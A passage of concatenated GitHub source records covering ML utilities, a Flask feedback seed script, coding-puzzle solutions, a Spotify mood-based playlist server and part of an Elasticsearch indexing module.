row\n\t\t\t\telse:\n\t\t\t\t\ttable += \"%s |\\n\" % row\n\t\t\t\t\tprevious_regularized = False\n\n\t\t\tif layer[0] == \"MaxPooling2D\":\n\t\t\t\trow = \"| %s | %s | - | (%s, %s) | - \" % (index, layer[0], layer[1][0], layer[1][1])\n\t\t\telif layer[0] == 'Conv2D':\n\t\t\t\trow = \"| %s | %s | %s | (%s, %s) \" % (index, layer[0], layer[1], layer[2][0], layer[2][1])\n\t\t\telif layer[0] == \"Dense\":\n\t\t\t\trow = \"| %s | %s | %s | - \" % (index, layer[0], layer[1])\n\t\t\t\tindex += 1\n\n\t\telif layer[0] == 'Flatten':\n\t\t\tif not previous_regularized:\n\t\t\t\ttable += \"%s| - |\\n%s\" % (row, get_middle())\n\t\t\telse:\n\t\t\t\ttable += \"%s|\\n%s\" % (row, get_middle())\n\t\t\t\tprevious_regularized = False\n\t\t\t\trow = \"\"\n\t\telif layer[0] == 'Dropout':\n\t\t\trow += '| Dropout(%s)' % (layer[1])\n\t\t\tprevious_regularized = True\n\t\telif layer[0] == 'Activation':\n\t\t\trow += '| %s' % (layer[1])\n\n\t# table += get_params(parameters)\n\ttable += row + \"| - |\\n\"\n\ttable += get_footer()\n\treturn table\n\n\ndef create_chart_from_performance(title, path):\n\tLOGGER_APP.info(\"Creating chart for model %s\", title)\n\n\tname = parse_name_from_performance_title(title)\n\n\tpath = os.path.join(os.getcwd(), path)\n\n\tif len(name) == 2:\n\t\tchart_text = create_header(\"%s (%s)\" % (name[0].replace(\"_\", \" \"), name[1]))\n\telse:\n\t\tchart_text = create_header(name.replace(\"_\", \" \"))\n\n\tchart_text += \"\\n\" + add_plot(path, \"Train error\", 0, 'epoch', 'acc')\n\tchart_text += \"\\n\" + add_plot(path, \"Test error\", 1, 'epoch', 'val_acc')\n\tchart_text += \"\\n\" + create_footer()\n\treturn chart_text\n\n\ndef create_footer():\n\t\"\"\"Create footer data \"\"\"\n\treturn r\"\"\"\n\t\\end{axis}\n\\end{tikzpicture}\n\t\"\"\"\n\n\ndef create_header(title):\n\t\"\"\"Create header data \"\"\"\n\treturn r\"\"\"\n\\begin{tikzpicture}\n\t\\begin{axis}[\n\t\ttitle={%s},\n\t\txlabel={epoch},\n\t\tylabel={accuracy [p]},\n\t\tymin=0.0, ymax=1,\n\t\tlegend pos=south east,\n\t\tymajorgrids=true,\n\t\txmajorgrids=true,\n\t\tgrid style=dashed,\n\t\tscale=1.5,\n\t]\n\t\"\"\" % title\n\n\ndef add_plot(path, legend, index, x_col, y_col):\n\t\"\"\"Create plot data \"\"\"\n\ttry:\n\t\tcolor = COLORS[index]\n\texcept IndexError:\n\t\tcolor = \"black\"\n\n\treturn r\"\"\"\n\t\\addplot[color=%s]\n\t\ttable [x=%s, y=%s, col sep=comma]\n\t\t{%s};\n\t\t\\addlegendentry{%s}\n\t\"\"\" % (color,\n\t\t x_col,\n\t\t y_col,\n\t\t path,\n\t\t legend)\n\n\nif __name__ == '__main__':\n\tmain_loop()\n","repo_name":"OndrejZapletal/CNN_ILSVRC_tools","sub_path":"extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":9559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33418269650","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 20 16:17:33 2019\n@author: user\nDescription:\n\"\"\"\nimport os\nimport re\nimport pandas as pd\nfrom datetime import datetime\nimport imghdr\nfrom pyimagesearch.config import *\n\ndef is_image(img_path):\n res = False\n if os.path.isfile(img_path):\n if imghdr.what(img_path) in ['jpg', 'jpeg', 'bmp', 'gif']:\n res = True\n\n return res\n\n\n# files with timestamp\ndef get_filenames_in_csv(index_path, names, ts):\n return list(map(lambda name: os.path.join(index_path, name + \"_\" + ts + \".csv\"), names))\n\n\ndef get_timestamp():\n return datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n\n\ndef get_output_directory( ts, img_path, folder_out):\n if folder_out == None:\n l = os.path.normpath(img_path).split(os.sep)\n folder_out = l[len(l) - 1]\n else:\n folder_out = filter_allowed_characters(folder_out)\n\n return os.path.join(OUTPUT_FOLDER, folder_out + \"_\" + ts)\n\n\ndef get_key_of_max_value(l):\n x = [i for (v, i) in sorted(((v, i) for (i, v) in enumerate(l)), reverse=True)]\n return x[0]\n\n\ndef log(message, verbose=False):\n if verbose:\n print(message)\n\n write_to_log(message, verbose)\n\n\ndef write_to_log(message, verbose=False):\n index_path = os.path.dirname(__file__) # utils path\n filename = \"cbis\" + datetime.now().strftime(\"-%Y%m%d\") + \".log\"\n filename = os.path.join(index_path, \"..\", \"output\", filename)\n # filename = os.path.join(index_path,\"..\",\"output\",\"console\",filename) #TODO: debug\n\n with open(filename, 'a') as f:\n if f.tell() == 0:\n msg = \"{} [INFO] Log file {} created.\\n\".format(datetime.now().strftime(\"%Y-%m-%d %X\"), filename)\n f.write(msg)\n if verbose:\n log(msg)\n # else:\n # print('file existed, appending')\n try:\n f.write(\"{} {}\".format(datetime.now().strftime(\"%Y-%m-%d %X\"), str(message) + \"\\n\"))\n except:\n pass\n\n\n# read the file and return df object\ndef parse(file):\n return pd.read_csv(file, header=0)\n\n\n# data should be dataframe, always in verbose mode \ndef save(data, output_path, filenames):\n # files with timestamp\n # create if it doesnt exist\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n for i, df in enumerate(data):\n if len(df) > 0: # only create files when there is a record\n df.to_csv(filenames[i])\n log(\"[INFO] File created/saved: {}\".format(filenames[i]), True)\n\n\ndef filter_allowed_characters(s):\n s = s.replace(\" \", \"_\")\n return re.sub('[^a-zA-Z0-9_\\n\\.]', '', s)\n\n\ndef get_filename_from_path(path):\n l = os.path.normpath(path).split(os.sep)\n return l[len(l) - 1]\n\n\ndef get_foldername_from_path(path):\n l = os.path.normpath(path).split(os.sep)\n return l[len(l) - 2]\n\n\ndef clean_filename(file, find_me):\n idx = file.find(find_me) # find the first instance of 'dataset' folder\n return file[idx:]\n","repo_name":"jrdelmar/cbis","sub_path":"pyimagesearch/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36008034991","text":"from flask_assets import Bundle, Environment\nfrom os import path\n\ndef init_assets(app):\n with app.app_context():\n env = Environment(app)\n env.load_path = [path.join(path.dirname(__file__), '..', 'static')]\n\n # App Enging doesn't support automatic building\n # so only auto build if in debug mode\n env.auto_build = app.debug\n app.logger.info('auto_build set to {}'.format(\n env.auto_build\n ))\n\n # Make sure this file is shipped\n env.manifest = 'file'\n\n bundles = {\n\n 'index_js': Bundle(\n 'js/common.js',\n output='gen/index.js'),\n\n 'index_css': Bundle(\n 'css/bootstrap-extensions.css',\n 'css/common.css',\n 'css/index.css',\n output='gen/index.css'),\n\n 'latencyTest_js': Bundle(\n 'js/common.js',\n 'js/latencyTest.js',\n output='gen/latencyTest.js'),\n\n 'latencyTest_css': Bundle(\n 'css/bootstrap-extensions.css',\n 'css/common.css',\n 'css/latencyTest.css',\n output='gen/latencyTest.css'),\n }\n \n env.register(bundles)\n return bundles\n\nif __name__ == '__main__':\n bundles = init_assets()\n for bundleKey in bundles:\n bundles[bundleKey].build()\n","repo_name":"PyrusMed/pyrus-website","sub_path":"app/utils/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20968616153","text":"from models import db, User, Feedback\nfrom app import app\n\ndb.drop_all()\ndb.create_all()\n\nuser_data = [\n {'fn': 'alice', 'ln': 'Smith', 'em': 'alice@example.com', 'un': 'ali23', 'pw': 'P@ssw0rd'},\n {'fn': 'Bob', 'ln': 'Johnson', 'em': 'bob@example.com', 'un': 'b0bby', 'pw': 'S3curePwd'},\n {'fn': 'Charlie', 'ln': 'Brown', 'em': 'charlie@example.com', 'un': 'c-brown', 'pw': 'MyP@55'},\n {'fn': 'Daisy', 'ln': 'Taylor', 'em': 'daisy@example.com', 'un': 'daizy.t', 'pw': 'P@ssw0rd!'},\n {'fn': 'Ethan', 'ln': 'Anderson', 'em': 'ethan@example.com', 'un': '3thanA', 'pw': 'Secret@123'}\n ]\n\nplaceholder_comment = \"\"\"\nCustomer support, a mere illusion,\nNo answers found in this vast confusion.\nMy pleas unheard, lost in the abyss,\nNo comfort offered, just silence, amiss.\n\nForms unresponsive, errors abound,\nFrustration mounting, I could not rebound.\nInadequate functionality, a bitter pill,\nA bitter taste, that lingers still.\n\nOh, website, you failed to meet my needs,\nWith broken promises and careless deeds.\nI leave this feedback, a dissatisfied verse,\nHoping for improvement, a chance to reverse.\n\"\"\"\n\nfor user in user_data:\n\n new_user = User(username=user['un'], password=user['pw'], email = user['em'], first_name = user['fn'], last_name = user['ln'])\n new_user.register\n\n new_feedback = Feedback(title = \"Test feedback\", content = placeholder_comment, user_id = new_user.username)\n db.session.add(new_feedback)\n db.session.commit()\n\n","repo_name":"RTaylorAshka/Flask-Feedback","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":1467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27453748849","text":"import os\nimport pickle\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nn = 10000\np = 10\nr = 2.0\n# store_path = 'E:/Research Project/stable_learning/result'\nstore_path = 'result'\nwith open(os.path.join(store_path, 'result_n={}_p={}_r={}'.format(n, p, r)), 'rb') as f:\n my_result = pickle.load(f)\n\nrmse_all = {'OLS': [],\n 'Lasso': [],\n 'Ridge': [],\n 'GAN': []}\nfor rslt in my_result:\n rmse_all['OLS'].append(np.array(rslt[0]['rmses']).reshape(1, -1))\n rmse_all['Lasso'].append(np.array(rslt[1]['rmses']).reshape(1, -1))\n rmse_all['Ridge'].append(np.array(rslt[2]['rmses']).reshape(1, -1))\n rmse_all['GAN'].append(np.array(rslt[3]['rmses']).reshape(1, -1))\n\nrmse_mean = {'OLS': None,\n 'Lasso': None,\n 'Ridge': None,\n 'GAN': None}\nfor method in ['OLS', 'Lasso', 'Ridge', 'GAN']:\n rmse_mean[method] = np.mean(np.concatenate(rmse_all[method], axis=0), axis=0)\n\nrs = [-3, -2, -1.7, -1.5, -1.3, 1.3, 1.5, 1.7, 2, 3]\nplt.figure()\nfor method in ['OLS', 'Lasso', 'Ridge', 'GAN']:\n plt.plot(rmse_mean[method], label=method)\nplt.legend()\nplt.xticks(list(range(len(rmse_mean[method]))), rs)\nplt.ylabel('RMSE')\nplt.title('r on test data n={}_p={}_r={}'.format(n, p, r))\n# plt.savefig('result/rmse1.png')\nplt.show()\n# return rmse_mean\n\nmethod_map = {'OLS': 0, 'Lasso': 1, 'ridge': 2, 'GAN': 3}\n\ninfo = {}\ninfo_mean = {}\ninfo_std = {}\n\nfor attr in ['avg_error', 'stable_error', 'beta_s_error', 'beta_v_error']:\n info[attr] = {}\n info_mean[attr] = {}\n info_std[attr] = {}\n\nfor attr in ['avg_error', 'stable_error', 'beta_s_error', 'beta_v_error']:\n for m in ['OLS', 'Lasso', 'ridge', 'GAN']:\n info[attr][m] = []\n info_mean[attr][m] = 0\n info_std[attr][m] = 0\nfor rslt in my_result:\n for attr in ['avg_error', 'stable_error', 'beta_s_error', 'beta_v_error']:\n for m in ['OLS', 'Lasso', 'ridge', 'GAN']:\n info[attr][m].append(rslt[method_map[m]][attr])\n\nfor attr in ['avg_error', 'stable_error', 'beta_s_error', 'beta_v_error']:\n for m in ['OLS', 'Lasso', 'ridge', 'GAN']:\n info_mean[attr][m] = np.mean(info[attr][m])\n info_std[attr][m] = np.std(info[attr][m])\n\nprint('info_mean:')\nfor attr in ['beta_s_error', 'beta_v_error', 'avg_error', 'stable_error']:\n print(attr)\n print(info_mean[attr])\n\nprint('info_std:')\nfor attr in ['beta_s_error', 'beta_v_error', 'avg_error', 'stable_error']:\n print(attr)\n print(info_std[attr])\n","repo_name":"aggressivedog-120/GAVD","sub_path":"ReviewPerformance.py","file_name":"ReviewPerformance.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11672562507","text":"import torch\n\n\ndef embedding(model_name, text, tokenizer, ft, bert_model):\n if model_name == 'bert' or model_name == 'Bert' or model_name == 'BERT':\n\n marked_text = \"[CLS] \" + text + \" [SEP]\"\n\n tokenized_text = tokenizer.tokenize(marked_text)\n indexed_tokens = tokenizer.convert_tokens_to_ids(tokenized_text)\n\n segments_ids = [1] * len(tokenized_text)\n\n tokens_tensor = torch.tensor([indexed_tokens])\n segments_tensors = torch.tensor([segments_ids])\n \n model = bert_model\n # model = BertModel.from_pretrained('HooshvareLab/bert-base-parsbert-uncased',\n # output_hidden_states = True, # Whether the model returns all hidden-states.\n # )\n\n # Put the model in \"evaluation\" mode, meaning feed-forward operation.\n model.eval()\n\n with torch.no_grad():\n\n outputs = model(tokens_tensor, segments_tensors)\n hidden_states = outputs[2]\n\n token_embeddings = torch.stack(hidden_states, dim=0)\n token_embeddings = torch.squeeze(token_embeddings, dim=1)\n \n token_vecs = hidden_states[-2][0]\n\n # Calculate the average of all 22 token vectors.\n text_embedding = torch.mean(token_vecs, dim=0)\n\n print(f\"tokenized text: {tokenized_text}\\n\")\n\n print(f'text vector: {text_embedding}\\n')\n\n\n elif model_name == 'fasttext' or model_name == 'fastext' or model_name == 'fast':\n vector = ft.get_word_vector(text)\n\n print(f'vector of {text}:\\n', vector)","repo_name":"AliRezaT96/data-analysis","sub_path":"vector embedding/embeddings.py","file_name":"embeddings.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26227549950","text":"# Iterate over the numbers, while comparing adjacent elements.\n# Some Pythonic list magic to make it look clean.\nimport time\n\n\nif __name__ == \"__main__\":\n t_start = time.perf_counter()\n with open(\"inputs/01.txt\") as f:\n data = [int(line) for line in f]\n\n ans = sum(data[i] < data[i+1] for i in range(len(data) - 1))\n print(f\"Ans - {ans}, Time - {(time.perf_counter() - t_start) * 1000}ms\")\n","repo_name":"v-shenoy/advent-of-code-2021","sub_path":"src/day_01/a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9121248152","text":"def listen():\n print(\"what sound did you hear?\")\n sound = input()\n print(f\"That was a loud {sound}!\")\nlisten()\n\ndef voyage(distance):\n for distance in range(distance):\n print(\"...crossed some ocean\")\nvoyage(3)\nprint(\"you have found maui on the island\")","repo_name":"beniewaku/com728","sub_path":"basics/functions/simple_function.py","file_name":"simple_function.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23467881761","text":"f = open('A-large.in.txt', 'r')\nT = int(f.readline())\n\nfor t in range(0,T):\n\tN = int(f.readline())\n\tline = f.readline().split()\n\tmush = map(int,line)\n\n\tmethodone = 0\n\tprevious = mush[0]\n\tfor m in range(1,len(mush)):\n\t\tif (mush[m] < previous):\n\t\t\tmethodone += (previous - mush[m])\n\t\tprevious = mush[m]\n\n\tmethodtwo = 0\n\trate = 0\n\tprev = mush[0]\n\tfor m in range(1,len(mush)):\n\t\tdiff = prev - mush[m]\n\t\tif (diff > rate):\n\t\t\trate = diff\n\t\tprev = mush[m]\n\tfor m in range(0,len(mush)-1):\n\t\tif (mush[m] < rate):\n\t\t\tmethodtwo += mush[m]\n\t\telse:\n\t\t\tmethodtwo += rate\n\n\tprint('Case #' + str(t+1) + ': ' + str(methodone) + ' ' + str(methodtwo))\n\t\nf.close()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_159/496.py","file_name":"496.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22008193484","text":"from flask import Flask, request, jsonify, Response\nfrom flask_restful import reqparse, Api, Resource\nimport sys\nimport os\nimport random\nimport requests\nfrom collections import namedtuple\nfrom typing import Dict, Tuple, Optional\nimport math\nfrom math import ceil\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\nfrom spoot import *\nimport asyncio\n\napp = Flask(__name__)\napp.config['JSON_SORT_KEYS'] = False\napi = Api(app)\n\n# https://developer.spotify.com/documentation/web-api/reference/tracks/get-audio-features/\nMood: Tuple[float, float, float] = namedtuple('Mood', 'valence energy danceability')\n\nclass MoodPlaylist:\n def __init__(self, token: str, mood: Mood, play_saved_tracks: bool, track_ids: Optional[List[str]] = None, index: int = -1, end: Optional[int] = None):\n \"\"\"\n `token` is the user token\n `mood` is the current mood according to which we'll sort the songs.\n `play_saved_tracks` is True if we are playing from the user's saved tracks (or liked songs) and False if we are playing from the all of Spotify (more specifically, the most popular tracks at https://spotifycharts.com/regional)\n `track_ids` is a list of all track_ids, both played and unplayed.\n `index` is the index within `track_ids` of the currently playing song. This defaults to -1 so that the next song is index 0.\n `end` is 1 greater than the index of the last song within `track_ids` that we want to play; the last song that meets a certain threshold of closeness to the desired mood.\n \"\"\"\n self.token = token\n self.mood = mood\n self.play_saved_tracks = play_saved_tracks\n self.index = index\n if track_ids:\n self.track_ids = track_ids\n else:\n if play_saved_tracks:\n self.track_ids = fetch_saved_tracks(token)\n else:\n self.track_ids = top_global()\n self._sort(True)\n self.end = end if end is not None else len(self.track_ids)\n \n def get_queue(self, length: int = None, after_next: bool = False) -> List[str]:\n \"\"\"\n Return song IDs of songs that will be played up next.\n\n `length`: number of song IDs to return.\n `after_next`: False if the queue includes the next song, True if it does not include the song.\n \"\"\"\n offset = 1 if after_next else 0\n if length:\n return self.track_ids[self.index + 1 + offset : self.end][:length]\n else:\n return self.track_ids[self.index + 1 + offset : self.end]\n\n def _sort(self, new: bool, threshold=0.4) -> None:\n \"\"\"\n Sort songs based on the current mood, such that the songs closer to that mood are first. This is meant to be called after changing the mood.\n\n `new`: True if it's a brand new playlist and so we should sort the entire playlist, and False if we only want to sort the songs starting with `index + 1`.\n `threshold`: maximum distance between the mood of a song and `self.mood`. `self.end` will be set such that songs that exceed this threshold will not be played.\n \"\"\"\n track_moods = _get_song_moods(self.track_ids)\n track_id_to_mood = {self.track_ids[i]: track_moods[i] for i in range(len(self.track_ids))}\n dist = lambda track_id: euclidean(track_id_to_mood[track_id], self.mood)\n if new:\n self.track_ids.sort(key=dist)\n else:\n self.track_ids[self.index + 1:] = sorted(self.track_ids, key=dist)\n self.end = len(self.track_ids)\n for i, track_id in enumerate(self.track_ids):\n if dist(track_id) > threshold:\n self.end = i\n for i in range(self.index, self.end):\n j = random.randint(i, min(i + 5, self.end - 1))\n self.track_ids[i], self.track_ids[j] = self.track_ids[j], self.track_ids[i]\n\n def new_mood(self, mood: Mood) -> None:\n \"\"\"\n Sets the mood to `mood`, resets the index, and calls `_sort`.\n \"\"\"\n self.index = 0\n self.mood = mood\n self._sort(True)\n\n def _like_or_dislike(self, scale: float) -> None:\n \"\"\"\n Update the mood in the direction of the current song, which has an id equal to `self.track_ids[self.index]`. We calculate the vector from the current mood to the mood of the current song, and update according to that multiplied by `scale`.\n \"\"\"\n current_track_mood = _get_song_mood(self.track_ids[self.index])\n delta = np.subtract(current_track_mood, self.mood)\n self.mood = np.add(self.mood, np.multiply(delta, scale))\n self._sort(False)\n\n def like(self) -> None:\n \"\"\"\n Update the mood in the direction of the current song, which has an id equal to `self.track_ids[self.index]`.\n \"\"\"\n self._like_or_dislike(0.5)\n\n def dislike(self, was_skip=False) -> None:\n \"\"\"\n Update the mood in the direction opposite to the current song, which has an id equal to `self.track_ids[self.index]`.\n\n `was_skip`: True if the user skipped and False if it was an actual dislike. Skips have half the weight of a dislike.\n \"\"\"\n if was_skip:\n self._like_or_dislike(-0.25)\n else:\n self._like_or_dislike(-0.5)\n\n \n# Map user IDs to their corresponding MoodPlaylist.\nplaylists: Dict[str, MoodPlaylist] = {}\n\n# Map a song ID to its Mood.\nsong_mood: Dict[str, Mood] = {}\n\n# Map mood names to their Mood vector.\nmood_names: Dict[str, Mood] = {\n 'upbeat': (1, 1, 0),\n 'slow dance': (1, 0, 1),\n 'hide the tears': (0, 1, 1),\n 'sad bops': (0, 0, 1),\n 'happy chill': (1, 1, 0),\n 'mellow': (1, 0, 0),\n 'adele': (0, 1, 0),\n 'depressed': (0, 0, 0)\n}\n\ndef _get_song_mood(song_id: str) -> Mood:\n \"\"\"\n Return the song features for the given song ID, as a named tuple Mood. This gets it from the cache if available, or else gets it from Spotify, and then adds it to song_id_to_mood.\n \"\"\"\n if song_id in song_mood:\n return song_mood[song_id]\n else:\n try:\n res = client.http.request(client.http.route(\"GET\", \"/audio-features/{id}\", id=song_id))\n mood = (res['valence'], res['energy'], res['danceability'])\n song_mood[song_id] = mood\n return mood\n except:\n return (0, 0, 0)\n\ndef divide_chunks(l, n):\n for i in range(0, len(l), n): \n yield l[i:i + n] \n\ndef _get_song_moods(song_ids: List[str]) -> List[Mood]:\n mapping = {song_id: song_mood[song_id] for song_id in song_ids if song_id in song_mood}\n non_cached = [song_id for song_id in song_ids if song_id not in song_mood]\n song_id_groups = list(divide_chunks(non_cached, 100))\n for group in song_id_groups:\n formatted_group = \",\".join(group)\n res = client.http.request(client.http.route(\"GET\", \"/audio-features?ids={ids}\", ids=formatted_group))\n res = res[\"audio_features\"]\n for i in range(len(group)):\n data = res[i]\n mood = (data['valence'], data['energy'], data['danceability'])\n mapping[group[i]] = mood\n song_mood[group[i]] = mood\n return [mapping[song_ids[i]] for i in range(len(song_ids))]\n\ndef _nearest_moods(token: str) -> Dict[str, float]:\n \"\"\"\n Returns what two moods the current mood of the playlist is closest to.\n\n Example return value:\n {\n 'adele': 0.4,\n 'hide the tears': 0.6\n }\n \"\"\"\n try:\n # Mapping from mood name to its distance from the current mood.\n mood_dists: Dict[str, float] = {}\n for mood_name, mood_vec in mood_names:\n mood_dists[mood_name] = euclidean(mood_vec, playlists[token].mood)\n sorted_mood_dists: List[Tuple[str, float]] = mood_dists.items().sort(key=lambda item: item[0])\n sum_of_dists = math.sqrt(mood_dists[sorted_mood_dists[0][1]]) + math.sqrt(mood_dists[sorted_mood_dists[1][1]])\n proportions = (math.sqrt(mood_dists[sorted_mood_dists[0][1]])/sum_of_dists, math.sqrt(mood_dists[sorted_mood_dists[1][1]])/sum_of_dists)\n return {\n sorted_mood_dists[0][0]: proportions[0],\n sorted_mood_dists[1][0]: proportions[1]\n }\n except Exception as e:\n print(repr(e))\n\n@app.route('/playlist/new', methods=['GET'])\ndef new_playlist() -> Response:\n \"\"\"\n Create a new mood playlist. Returns the first `request_length` track IDs of the new playlist, which is a List[str], as a JSON response.\n\n `play_saved_tracks`: whether we want to play from saved tracks (True) or from top charts (False)\n `mood`: a string representing the mood of the new playlist, such as 'sad bops' or 'adele'\n `request_length`: number of track IDs to return\n `token`: user token\n \"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('token', type=str, required=True)\n parser.add_argument('mood', type=str, required=True)\n parser.add_argument('play_saved_tracks', type=bool, required=True)\n parser.add_argument('request_length', type=int, required=True)\n args = parser.parse_args()\n\n try:\n token: str = args['token']\n mood: str = args['mood']\n play_saved_tracks: bool = args['play_saved_tracks']\n request_length: int = args['request_length']\n\n mood: Mood = mood_names[mood]\n if token not in playlists or playlists[token].play_saved_tracks != play_saved_tracks:\n playlists[token] = MoodPlaylist(token, mood, play_saved_tracks)\n else:\n playlists[token].new_mood(mood)\n return jsonify(queue=playlists[token].get_queue(request_length), colors=_nearest_moods(token))\n except ValueError as e:\n message = 'Incorrect parameter types'\n print(message + ' ' + repr(e))\n # raise e\n return {'message': message}, 405\n except Exception as e:\n message = 'Unknown error: ' + repr(e)\n print(message)\n # raise e\n return {'message': message}, 400\n\n@app.route('/playlist/extend', methods=['GET'])\ndef get_next_songs() -> Response:\n \"\"\"\n Return the next `num` songs to play, which is a List[str], as a JSON response. `index` is the index of the current song.\n \"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('token', type=str, required=True)\n parser.add_argument('index', type=int, required=True)\n parser.add_argument('request_length', type=int, required=True)\n args = parser.parse_args()\n\n try:\n token: str = args['token']\n index: int = args['index']\n request_length: int = args['request_length']\n\n playlists[token].index = index\n return jsonify(queue=playlists[token].get_queue(request_length), colors=_nearest_moods(token))\n except Exception as e:\n message = 'Unknown error: ' + repr(e)\n print(message)\n # raise e\n return {'message': message}, 400\n\n@app.route('/playlist/like', methods=['POST'])\ndef like() -> Response:\n \"\"\"\n Mark the song with the given index as liked for the given user. This adjusts the mood of the playlist, which affects the order of the songs after the next song. The next song will stay the same because that's already preloaded into the frontend. \n \"\"\"\n parser = reqparse.RequestParser()\n parser.add_argument('token', type=str, required=True)\n parser.add_argument('index', type=int, required=True)\n parser.add_argument('request_length', type=int, required=True)\n args = parser.parse_args()\n\n try:\n token: str = args['token']\n index: int = args['index']\n request_length: int = args['request_length']\n\n playlists[token].index = index\n playlists[token].like()\n return jsonify(queue=playlists[token].get_queue(request_length, True), colors=_nearest_moods(token))\n except Exception as e:\n message = 'Unknown error: ' + repr(e)\n print(message)\n # raise e\n return {'message': message}, 400\n\n@app.route('/playlist/dislike', methods=['POST'])\ndef dislike() -> Response:\n parser = reqparse.RequestParser()\n parser.add_argument('token', type=str, required=True)\n parser.add_argument('index', type=int, required=True)\n parser.add_argument('request_length', type=int, required=True)\n parser.add_argument('was_skip', type=bool, required=True)\n args = parser.parse_args()\n\n try:\n token: str = args['token']\n index: int = args['index']\n request_length: int = args['request_length']\n was_skip: bool = args['was_skip']\n\n playlists[token].index = index\n playlists[token].dislike(was_skip)\n return jsonify(queue=playlists[token].get_queue(request_length, True), colors=_nearest_moods(token))\n except Exception as e:\n message = 'Unknown error: ' + repr(e)\n print(message)\n raise e\n return {'message': message}, 400\nif __name__ == '__main__':\n app.run(host='0.0.0.0')\n","repo_name":"jazeved0/hackgt-6","sub_path":"server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12882,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"16950789111","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass JobsSpider(scrapy.Spider):\n name = 'jobs'\n allowed_domains = ['https://newyork.craigslist.org/search/egr']\n start_urls = ['https://newyork.craigslist.org/search/egr/']\n\n def parse(self, response):\n jobs = response.xpath('//p[@class=\"result-info\"]')\n for j in jobs:\n title = j.xpath('a/text()').extract_first()\n relative_url = j.xpath('a/@href').extract_first()\n abs_url = response.urljoin(relative_url)\n\n yield{'URL': abs_url, 'Title': title}\n\n","repo_name":"cori950920/Project_Moonshot","sub_path":"Crawling/spyder_practice/craiglist/craiglist/spiders/jobs-craigs.py","file_name":"jobs-craigs.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36989231325","text":"# adapted from elasticsearch-dsl-py\n\nimport dataclasses\nfrom itertools import chain\nfrom copy import deepcopy\nfrom typing import Optional, Any, List, Dict, Tuple, Union, Iterator, Iterable\nfrom typing_extensions import TypedDict, Literal\n\nfrom elasticsearch import Elasticsearch, helpers\n\nfrom pandagg import Mappings, Search\nfrom pandagg.document import DocumentSource, DocumentMeta\nfrom pandagg.tree.mappings import MappingsDictOrNode\nfrom pandagg.types import SettingsDict, IndexAliases, DocSource, Action, OpType\nfrom pandagg.utils import _cast_pre_save_source, get_action_modifier, is_subset\n\n\nclass Template(TypedDict, total=False):\n aliases: IndexAliases\n mappings: MappingsDictOrNode\n settings: SettingsDict\n\n\n@dataclasses.dataclass\nclass DocumentBulkWriter:\n _index: \"DeclarativeIndex\"\n _operations: Iterator[Action] = dataclasses.field(\n init=False, default_factory=lambda: iter([])\n )\n\n @property\n def _client(self) -> Elasticsearch:\n return self._index._get_connection()\n\n def _chain_actions(self, actions: Iterable[Action]) -> None:\n self._operations = chain(self._operations, iter(actions))\n\n def has_pending_operation(self) -> bool:\n op = next(self._operations, None)\n if op is None:\n return False\n self._chain_actions([op])\n return True\n\n def bulk(\n self,\n actions: Iterable[Union[Action, DocumentSource]],\n _op_type_overwrite: Optional[OpType] = None,\n ) -> \"DocumentBulkWriter\":\n # https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-bulk.html\n # https://elasticsearch-py.readthedocs.io/en/master/helpers.html\n\n self._chain_actions(\n map(\n get_action_modifier(\n index_name=self._index.name, _op_type_overwrite=_op_type_overwrite\n ),\n actions,\n )\n )\n return self\n\n def index(\n self,\n _source: Union[DocSource, DocumentSource],\n *,\n op_type: Literal[\"create\", \"index\"] = \"index\",\n _id: Optional[str] = None,\n **kwargs: Any\n ) -> \"DocumentBulkWriter\":\n # https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-index_.html\n source: DocSource = _cast_pre_save_source(_source)\n self._chain_actions(\n [\n {\n \"_id\": _id,\n \"_source\": source,\n \"_index\": self._index.name,\n \"_op_type\": op_type,\n **kwargs, # type: ignore\n }\n ]\n )\n return self\n\n def update(\n self, _id: str, doc: Union[DocSource, DocumentSource], **kwargs: Any\n ) -> \"DocumentBulkWriter\":\n \"\"\"\n Update an existing document.\n\n Note that update of inner object is partial:\n\n >>> index.index(_id=\"john\", doc={\"personal_info\": {\"surname\": \"John\", \"lastname\": \"Doe\"}})\n >>> index.update(_id=\"john\", doc={\"personal_info\": {\"surname\": \"Bob\"}})\n\n would result in following source:\n {\"personal_info\": 